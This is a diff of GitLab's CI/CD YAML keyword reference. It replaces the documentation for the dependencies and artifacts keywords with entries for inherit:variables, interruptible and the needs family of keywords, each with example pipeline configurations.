-Use the `dependencies` keyword to define a list of jobs to fetch [artifacts](#artifacts) from.
-You can also set a job to download no artifacts at all.
+- You can also list default keywords to inherit on one line: `default: [keyword1, keyword2]`
-If you do not use `dependencies`, all artifacts from previous stages are passed to each job.
+#### `inherit:variables`
+
+Use `inherit:variables` to control the inheritance of [global variables](#variables) keywords.
**Keyword type**: Job keyword. You can use it only as part of a job.
**Possible inputs**:
-- The names of jobs to fetch artifacts from.
-- An empty array (`[]`), to configure the job to not download any artifacts.
+- `true` (default) or `false` to enable or disable the inheritance of all global variables.
+- A list of specific variables to inherit.
-**Example of `dependencies`**:
+**Example of `inherit:variables`**:
```yaml
-build osx:
- stage: build
- script: make build:osx
- artifacts:
- paths:
- - binaries/
-
-build linux:
- stage: build
- script: make build:linux
- artifacts:
- paths:
- - binaries/
-
-test osx:
- stage: test
- script: make test:osx
- dependencies:
- - build:osx
+variables:
+ VARIABLE1: "This is variable 1"
+ VARIABLE2: "This is variable 2"
+ VARIABLE3: "This is variable 3"
-test linux:
- stage: test
- script: make test:linux
- dependencies:
- - build:linux
+job1:
+ script: echo "This job does not inherit any global variables."
+ inherit:
+ variables: false
-deploy:
- stage: deploy
- script: make deploy
+job2:
+ script: echo "This job inherits only the two listed global variables. It does not inherit 'VARIABLE3'."
+ inherit:
+ variables:
+ - VARIABLE1
+ - VARIABLE2
```
-In this example, two jobs have artifacts: `build osx` and `build linux`. When `test osx` is executed,
-the artifacts from `build osx` are downloaded and extracted in the context of the build.
-The same thing happens for `test linux` and artifacts from `build linux`.
-
-The `deploy` job downloads artifacts from all previous jobs because of
-the [stage](#stages) precedence.
-
**Additional details**:
-- The job status does not matter. If a job fails or it's a manual job that isn't triggered, no error occurs.
-- If the artifacts of a dependent job are [expired](#artifactsexpire_in) or
- [deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then the job fails.
-
-### `artifacts`
-
-Use `artifacts` to specify a list of files and directories that are
-attached to the job when it [succeeds, fails, or always](#artifactswhen).
-
-The artifacts are sent to GitLab after the job finishes. They are
-available for download in the GitLab UI if the size is not
-larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
+- You can also list global variables to inherit on one line: `variables: [VARIABLE1, VARIABLE2]`
-By default, jobs in later stages automatically download all the artifacts created
-by jobs in earlier stages. You can control artifact download behavior in jobs with
-[`dependencies`](#dependencies).
+### `interruptible`
-When using the [`needs`](#needs) keyword, jobs can only download
-artifacts from the jobs defined in the `needs` configuration.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3.
-Job artifacts are only collected for successful jobs by default, and
-artifacts are restored after [caches](#cache).
+Use `interruptible` if a job should be canceled when a newer pipeline starts before the job completes.
-[Read more about artifacts](../pipelines/job_artifacts.md).
+This keyword is used with the [automatic cancellation of redundant pipelines](../pipelines/settings.md#auto-cancel-redundant-pipelines)
+feature. When enabled, a running job with `interruptible: true` can be cancelled when
+a new pipeline starts on the same branch.
-#### `artifacts:exclude`
+You can't cancel subsequent jobs after a job with `interruptible: false` starts.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1
-> - Requires GitLab Runner 13.1
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
-`exclude` makes it possible to prevent files from being added to an artifacts
-archive.
+**Possible inputs**:
-Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative
-to the project directory. You can use Wildcards that use
-[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or
-[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns.
+- `true` or `false` (default).
-For example, to store all files in `binaries/`, but not `*.o` files located in
-subdirectories of `binaries/`:
+**Example of `interruptible`**:
```yaml
-artifacts:
- paths:
- - binaries/
- exclude:
- - binaries/**/*.o
-```
+stages:
+ - stage1
+ - stage2
+ - stage3
-Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself.
+step-1:
+ stage: stage1
+ script:
+ - echo "Can be canceled."
+ interruptible: true
-For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory:
+step-2:
+ stage: stage2
+ script:
+ - echo "Can not be canceled."
-```yaml
-artifacts:
- paths:
- - binaries/
- exclude:
- - binaries/temp/**/*
+step-3:
+ stage: stage3
+ script:
+ - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible."
+ interruptible: true
```
-Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using
-`artifacts:exclude` too.
+In this example, a new pipeline causes a running pipeline to be:
-#### `artifacts:expire_in`
+- Canceled, if only `step-1` is running or pending.
+- Not canceled, after `step-2` starts.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time.
-> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time.
+**Additional details**:
-Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before
-they expire and are deleted. The `expire_in` setting does not affect:
+- Only set `interruptible: true` if the job can be safely canceled after it has started,
+ like a build job. Deployment jobs usually shouldn't be cancelled, to prevent partial deployments.
+- To completely cancel a running pipeline, all jobs must have `interruptible: true`,
+ or `interruptible: false` jobs must not have started.
-- Artifacts from the latest job, unless keeping the latest job artifacts is:
- - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs).
- - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
-- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). You can't specify an expiration date for
- pipeline artifacts. See [When pipeline artifacts are deleted](../pipelines/pipeline_artifacts.md#when-pipeline-artifacts-are-deleted)
- for more information.
+### `needs`
-The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Valid values
-include:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2.
+> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) in GitLab 14.2, you can refer to jobs in the same stage as the job you are configuring.
-- `'42'`
-- `42 seconds`
-- `3 mins 4 sec`
-- `2 hrs 20 min`
-- `2h20min`
-- `6 mos 1 day`
-- `47 yrs 6 mos and 4d`
-- `3 weeks and 2 days`
-- `never`
+Use `needs` to execute jobs out-of-order. Relationships between jobs
+that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md).
-To expire artifacts one week after being uploaded:
+You can ignore stage ordering and run some jobs without waiting for others to complete.
+Jobs in multiple stages can run concurrently.
-```yaml
-job:
- artifacts:
- expire_in: 1 week
-```
+**Keyword type**: Job keyword. You can use it only as part of a job.
-The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry
-time is not defined, it defaults to the
-[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
-(30 days by default).
+**Possible inputs**:
-To override the expiration date and protect artifacts from being automatically deleted:
+- An array of jobs.
+- An empty array (`[]`), to set the job to start as soon as the pipeline is created.
-- Select **Keep** on the job page.
-- [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of
- `expire_in` to `never`.
+**Example of `needs`**:
-After their expiry, artifacts are deleted hourly by default (using a cron job), and are not
-accessible anymore.
+```yaml
+linux:build:
+ stage: build
+ script: echo "Building linux..."
-#### `artifacts:expose_as`
+mac:build:
+ stage: build
+ script: echo "Building mac..."
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5.
+lint:
+ stage: test
+ needs: []
+ script: echo "Linting..."
-Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md)
-in the [merge request](../../user/project/merge_requests/index.md) UI.
+linux:rspec:
+ stage: test
+ needs: ["linux:build"]
+ script: echo "Running rspec on linux..."
-For example, to match a single file:
+mac:rspec:
+ stage: test
+ needs: ["mac:build"]
+ script: echo "Running rspec on mac..."
-```yaml
-test:
- script: ["echo 'test' > file.txt"]
- artifacts:
- expose_as: 'artifact 1'
- paths: ['file.txt']
+production:
+ stage: deploy
+ script: echo "Running production..."
```
-With this configuration, GitLab adds a link **artifact 1** to the relevant merge request
-that points to `file1.txt`. To access the link, select **View exposed artifact**
-below the pipeline graph in the merge request overview.
-
-An example that matches an entire directory:
+This example creates four paths of execution:
-```yaml
-test:
- script: ["mkdir test && echo 'test' > test/file.txt"]
- artifacts:
- expose_as: 'artifact 1'
- paths: ['test/']
-```
+- Linter: The `lint` job runs immediately without waiting for the `build` stage
+ to complete because it has no needs (`needs: []`).
+- Linux path: The `linux:rspec` job runs as soon as the `linux:build`
+ job finishes, without waiting for `mac:build` to finish.
+- macOS path: The `mac:rspec` jobs runs as soon as the `mac:build`
+ job finishes, without waiting for `linux:build` to finish.
+- The `production` job runs as soon as all previous jobs finish:
+ `linux:build`, `linux:rspec`, `mac:build`, `mac:rspec`.
-Note the following:
+**Additional details**:
-- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`.
-- A maximum of 10 job artifacts per merge request can be exposed.
-- Glob patterns are unsupported.
-- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than
- one file in the directory.
-- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`,
- and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is:
- - Enabled, GitLab automatically renders the artifact.
- - Not enabled, the file is displayed in the artifacts browser.
+- The maximum number of jobs that a single job can have in the `needs` array is limited:
+ - For GitLab.com, the limit is 50. For more information, see our
+ [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541).
+ - For self-managed instances, the default limit is 50. This limit [can be changed](../../administration/cicd.md#set-the-needs-job-limit).
+- If `needs` refers to a job that uses the [`parallel`](#parallel) keyword,
+ it depends on all jobs created in parallel, not just one job. It also downloads
+ artifacts from all the parallel jobs by default. If the artifacts have the same
+ name, they overwrite each other and only the last one downloaded is saved.
+- In [GitLab 14.1 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) you
+ can refer to jobs in the same stage as the job you are configuring. This feature is
+ enabled on GitLab.com and ready for production use. On self-managed [GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30632)
+ this feature is available by default.
+- In GitLab 14.0 and older, you can only refer to jobs in earlier stages. Stages must be
+ explicitly defined for all jobs that use the `needs` keyword, or are referenced
+ in a job's `needs` section.
+- In GitLab 13.9 and older, if `needs` refers to a job that might not be added to
+ a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create.
-#### `artifacts:name`
+#### `needs:artifacts`
-Use the `name` directive to define the name of the created artifacts
-archive. You can specify a unique name for every archive. The `artifacts:name`
-variable can make use of any of the [predefined variables](../variables/index.md).
-The default name is `artifacts`, which becomes `artifacts.zip` when you download it.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab 12.6.
-To create an archive with a name of the current job:
+When a job uses `needs`, it no longer downloads all artifacts from previous stages
+by default, because jobs with `needs` can start before earlier stages complete. With
+`needs` you can only download artifacts from the jobs listed in the `needs` configuration.
-```yaml
-job:
- artifacts:
- name: "$CI_JOB_NAME"
- paths:
- - binaries/
-```
+Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are
+downloaded in jobs that use `needs`.
-To create an archive with a name of the current branch or tag including only
-the binaries directory:
+**Keyword type**: Job keyword. You can use it only as part of a job. Must be used with `needs:job`.
-```yaml
-job:
- artifacts:
- name: "$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
+**Possible inputs**:
-If your branch-name contains forward slashes
-(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG`
-instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact.
+- `true` (default) or `false`.
-To create an archive with a name of the current job and the current branch or
-tag including only the binaries directory:
+**Example of `needs:artifacts`**:
```yaml
-job:
- artifacts:
- name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
+test-job1:
+ stage: test
+ needs:
+ - job: build_job1
+ artifacts: true
-To create an archive with a name of the current [stage](#stages) and branch name:
+test-job2:
+ stage: test
+ needs:
+ - job: build_job2
+ artifacts: false
-```yaml
-job:
- artifacts:
- name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
+test-job3:
+ needs:
+ - job: build_job1
+ artifacts: true
+ - job: build_job2
+ - build_job3
```
----
-
-If you use **Windows Batch** to run your shell scripts you must replace
-`$` with `%`:
-
-```yaml
-job:
- artifacts:
- name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%"
- paths:
- - binaries/
-```
+In this example:
-If you use **Windows PowerShell** to run your shell scripts you must replace
-`$` with `$env:`:
+- The `test-job1` job downloads the `build_job1` artifacts
+- The `test-job2` job does not download the `build_job2` artifacts.
+- The `test-job3` job downloads the artifacts from all three `build_jobs`, because
+ `artifacts` is `true`, or defaults to `true`, for all three needed jobs.
-```yaml
-job:
- artifacts:
- name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
+**Additional details**:
-#### `artifacts:paths`
+- In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword
+ with `needs`.
-Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
-link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns and:
+#### `needs:project` **(PREMIUM)**
-- In [GitLab Runner 13.0 and later](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620),
- [`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
-- In GitLab Runner 12.10 and earlier, [`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab 12.7.
-To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies).
+Use `needs:project` to download artifacts from up to five jobs in other pipelines.
+The artifacts are downloaded from the latest successful pipeline for the specified ref.
-Send all files in `binaries` and `.config`:
+If there is a pipeline running for the specified ref, a job with `needs:project`
+does not wait for the pipeline to complete. Instead, the job downloads the artifact
+from the latest pipeline that completed successfully.
-```yaml
-artifacts:
- paths:
- - binaries/
- - .config
-```
+`needs:project` must be used with `job`, `ref`, and `artifacts`.
-To disable artifact passing, define the job with empty [dependencies](#dependencies):
+**Keyword type**: Job keyword. You can use it only as part of a job.
-```yaml
-job:
- stage: build
- script: make build
- dependencies: []
-```
+**Possible inputs**:
-You may want to create artifacts only for tagged releases to avoid filling the
-build server storage with temporary build artifacts.
+- `needs:project`: A full project path, including namespace and group.
+- `job`: The job to download artifacts from.
+- `ref`: The ref to download artifacts from.
+- `artifacts`: Must be `true` to download artifacts.
-Create artifacts only for tags (`default-job` doesn't create artifacts):
+**Examples of `needs:project`**:
```yaml
-default-job:
- script:
- - mvn test -U
- rules:
- - if: $CI_COMMIT_BRANCH
-
-release-job:
+build_job:
+ stage: build
script:
- - mvn package -U
- artifacts:
- paths:
- - target/*.war
- rules:
- - if: $CI_COMMIT_TAG
-```
-
-You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
-
-```yaml
-job:
- artifacts:
- paths:
- - path/*xyz/*
+ - ls -lhR
+ needs:
+ - project: namespace/group/project-name
+ job: build-1
+ ref: main
+ artifacts: true
```
-#### `artifacts:public`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's recommended for production use.
-
-Use `artifacts:public` to determine whether the job artifacts should be
-publicly available.
-
-The default for `artifacts:public` is `true` which means that the artifacts in
-public pipelines are available for download by anonymous and guest users:
-
-```yaml
-artifacts:
- public: true
-```
+In this example, `build_job` downloads the artifacts from the latest successful `build-1` job
+on the `main` branch in the `group/project-name` project.
-To deny read access for anonymous and guest users to artifacts in public
-pipelines, set `artifacts:public` to `false`:
+In GitLab 13.3 and later, you can use [CI/CD variables](../variables/index.md) in `needs:project`,
+for example:
```yaml
-artifacts:
- public: false
+build_job:
+ stage: build
+ script:
+ - ls -lhR
+ needs:
+ - project: $CI_PROJECT_PATH
+ job: $DEPENDENCY_JOB_NAME
+ ref: $ARTIFACTS_DOWNLOAD_REF
+ artifacts: true
```
-#### `artifacts:reports`
-
-Use [`artifacts:reports`](#artifactsreports) to:
-
-- Collect test reports, code quality reports, security reports, and other artifacts generated by included templates in
- jobs.
-- Some of these reports are used to display information in:
- - Merge requests.
- - Pipeline views.
- - [Security dashboards](../../user/application_security/security_dashboard/index.md).
-
-The test reports are collected regardless of the job results (success or failure).
-You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
-date for their artifacts.
-
-Some `artifacts:reports` types can be generated by multiple jobs in the same pipeline, and used by merge request or
-pipeline features from each job.
-
-To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword.
-
-NOTE:
-Combined reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is
-not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725).
-
-##### `artifacts:reports:accessibility` **(FREE)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39425) in GitLab 12.8.
-
-The `accessibility` report uses [pa11y](https://pa11y.org/) to report on the accessibility impact
-of changes introduced in merge requests.
-
-GitLab can display the results of one or more reports in the merge request
-[accessibility widget](../../user/project/merge_requests/accessibility_testing.md#accessibility-merge-request-widget).
-
-For more information, see [Accessibility testing](../../user/project/merge_requests/accessibility_testing.md).
-
-##### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
-
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
-
-The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
-as artifacts.
-
-GitLab can display the results of one or more reports in:
-
-- The merge request [security widget](../../user/application_security/api_fuzzing/index.md#view-details-of-an-api-fuzzing-vulnerability).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
-- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
-- The [security dashboard](../../user/application_security/api_fuzzing/index.md#security-dashboard).
-
-##### `artifacts:reports:browser_performance` **(PREMIUM)**
-
-> [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0.
-
-The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
-as artifacts.
-
-GitLab can display the results of one report in the merge request
-[browser performance testing widget](../../user/project/merge_requests/browser_performance_testing.md#how-browser-performance-testing-works).
-
-GitLab cannot display the combined results of multiple `browser_performance` reports.
-
-##### `artifacts:reports:cluster_image_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 14.1.
-> - Requires GitLab Runner 14.1 and above.
-
-The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities. The collected
-`CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact.
-
-GitLab can display the results of one or more reports in:
-
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
-
-##### `artifacts:reports:cobertura`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
-
-The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
-The collected Cobertura coverage reports upload to GitLab as an artifact.
-
-GitLab can display the results of one or more reports in the merge request
-[diff annotations](../../user/project/merge_requests/test_coverage_visualization.md).
-
-Cobertura was originally developed for Java, but there are many third-party ports for other languages such as
-JavaScript, Python, and Ruby.
-
-##### `artifacts:reports:codequality`
-
-> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
-
-The `codequality` report collects [code quality issues](../../user/project/merge_requests/code_quality.md). The
-collected code quality report uploads to GitLab as an artifact.
+**Additional details**:
-GitLab can display the results of:
+- To download artifacts from a different pipeline in the current project, set `project`
+ to be the same as the current project, but use a different ref than the current pipeline.
+ Concurrent pipelines running on the same ref could override the artifacts.
+- The user running the pipeline must have at least the Reporter role for the group or project,
+ or the group/project must have public visibility.
+- You can't use `needs:project` in the same job as [`trigger`](#trigger).
+- When using `needs:project` to download artifacts from another pipeline, the job does not wait for
+ the needed job to complete. [Directed acyclic graph](../directed_acyclic_graph/index.md)
+ behavior is limited to jobs in the same pipeline. Make sure that the needed job in the other
+ pipeline completes before the job that needs it tries to download the artifacts.
+- You can't download artifacts from jobs that run in [`parallel`](#parallel).
+- Support for [CI/CD variables](../variables/index.md) in `project`, `job`, and `ref` was
+ [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) in GitLab 13.3.
+ [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4.
-- One or more reports in the merge request [code quality widget](../../user/project/merge_requests/code_quality.md#code-quality-widget).
-- Only one report in:
- - The merge request [diff annotations](../../user/project/merge_requests/code_quality.md#code-quality-in-diff-view).
- Track progress on adding support for multiple reports in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328257).
- - The [full report](../metrics_reports.md). Track progress on adding support for multiple reports in
- [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/9014).
+**Related topics**:
-##### `artifacts:reports:container_scanning` **(ULTIMATE)**
+- To download artifacts between [parent-child pipelines](../pipelines/parent_child_pipelines.md),
+ use [`needs:pipeline:job`](#needspipelinejob).
-The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md).
-The collected Container Scanning report uploads to GitLab as an artifact.
+#### `needs:pipeline:job`
-GitLab can display the results of one or more reports in:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab 13.7.
-- The merge request [container scanning widget](../../user/application_security/container_scanning/index.md).
-- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+A [child pipeline](../pipelines/parent_child_pipelines.md) can download artifacts from a job in
+its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy.
-##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
+**Keyword type**: Job keyword. You can use it only as part of a job.
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
+**Possible inputs**:
-The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md).
-The collected coverage fuzzing report uploads to GitLab as an artifact.
-GitLab can display the results of one or more reports in:
+- `needs:pipeline`: A pipeline ID. Must be a pipeline present in the same parent-child pipeline hierarchy.
+- `job`: The job to download artifacts from.
-- The merge request [coverage fuzzing widget](../../user/application_security/coverage_fuzzing/index.md#interacting-with-the-vulnerabilities).
-- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+**Example of `needs:pipeline:job`**:
-##### `artifacts:reports:dast` **(ULTIMATE)**
+- Parent pipeline (`.gitlab-ci.yml`):
-The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md). The collected DAST
-report uploads to GitLab as an artifact.
+ ```yaml
+ create-artifact:
+ stage: build
+ script: echo "sample artifact" > artifact.txt
+ artifacts:
+ paths: [artifact.txt]
-GitLab can display the results of one or more reports in:
+ child-pipeline:
+ stage: test
+ trigger:
+ include: child.yml
+ strategy: depend
+ variables:
+ PARENT_PIPELINE_ID: $CI_PIPELINE_ID
+ ```
-- The merge request [security widget](../../user/application_security/dast/index.md#view-details-of-a-vulnerability-detected-by-dast).
-- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+- Child pipeline (`child.yml`):
-##### `artifacts:reports:dependency_scanning` **(ULTIMATE)**
+ ```yaml
+ use-artifact:
+ script: cat artifact.txt
+ needs:
+ - pipeline: $PARENT_PIPELINE_ID
+ job: create-artifact
+ ```
-The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md).
-The collected Dependency Scanning report uploads to GitLab as an artifact.
+In this example, the `create-artifact` job in the parent pipeline creates some artifacts.
+The `child-pipeline` job triggers a child pipeline, and passes the `CI_PIPELINE_ID`
+variable to the child pipeline as a new `PARENT_PIPELINE_ID` variable. The child pipeline
+can use that variable in `needs:pipeline` to download artifacts from the parent pipeline.
-GitLab can display the results of one or more reports in:
+**Additional details**:
-- The merge request [dependency scanning widget](../../user/application_security/dependency_scanning/index.md#overview).
-- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
-- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
-- The [dependency list](../../user/application_security/dependency_list/).
+- The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`).
+ To download artifacts from a job in the current pipeline, use [`needs`](#needsartifacts).
-##### `artifacts:reports:dotenv`
+#### `needs:optional`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0.
-The `dotenv` report collects a set of environment variables as artifacts.
+To need a job that sometimes does not exist in the pipeline, add `optional: true`
+to the `needs` configuration. If not defined, `optional: false` is the default.
-The collected variables are registered as runtime-created variables of the job,
-which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
+Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might
+not always exist in a pipeline. When the pipeline is created, GitLab checks the `needs`
+relationships before starting it. Without `optional: true`, needs relationships that
+point to a job that does not exist stops the pipeline from starting and causes a pipeline
+error similar to:
-The exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules) are:
+- `'job1' job needs 'job2' job, but it was not added to the pipeline`
-- The variable key can contain only letters, digits, and underscores (`_`).
-- The maximum size of the `.env` file is 5 KB.
-- In GitLab 13.5 and older, the maximum number of inherited variables is 10.
-- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913),
- the maximum number of inherited variables is 20.
-- Variable substitution in the `.env` file is not supported.
-- The `.env` file can't have empty lines or comments (starting with `#`).
-- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
-- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
+**Keyword type**: Job keyword. You can use it only as part of a job.
-##### `artifacts:reports:junit`
+**Possible inputs**:
-The `junit` report collects [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format).
-The collected Unit test reports upload to GitLab as an artifact. Although JUnit was originally developed in Java, there
-are many third-party ports for other languages such as JavaScript, Python, and Ruby.
+- `job`: The job to make optional.
+- `true` or `false` (default).
-See [Unit test reports](../unit_test_reports.md) for more details and examples.
-Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
+**Example of `needs:optional`**:
```yaml
+build:
+ stage: build
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+
rspec:
stage: test
- script:
- - bundle install
- - rspec --format RspecJunitFormatter --out rspec.xml
- artifacts:
- reports:
- junit: rspec.xml
+ needs:
+ - job: build
+ optional: true
```
-GitLab can display the results of one or more reports in:
-
-- The merge request [code quality widget](../../ci/unit_test_reports.md#how-it-works).
-- The [full report](../../ci/unit_test_reports.md#viewing-unit-test-reports-on-gitlab).
-
-Some JUnit tools export to multiple XML files. You can specify multiple test report paths in a single job to
-concatenate them into a single file. Use either:
-
-- A filename pattern (`junit: rspec-*.xml`).
-- an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`).
-- A Combination of both (`junit: [rspec.xml, test-results/TEST-*.xml]`).
-
-##### `artifacts:reports:license_scanning` **(ULTIMATE)**
-
-> Introduced in GitLab 12.8.
-
-The License Compliance report collects [Licenses](../../user/compliance/license_compliance/index.md). The License
-Compliance report uploads to GitLab as an artifact.
-
-GitLab can display the results of one or more reports in:
-
-- The merge request [license compliance widget](../../user/compliance/license_compliance/index.md).
-- The [license list](../../user/compliance/license_compliance/index.md#license-list).
-
-##### `artifacts:reports:load_performance` **(PREMIUM)**
-
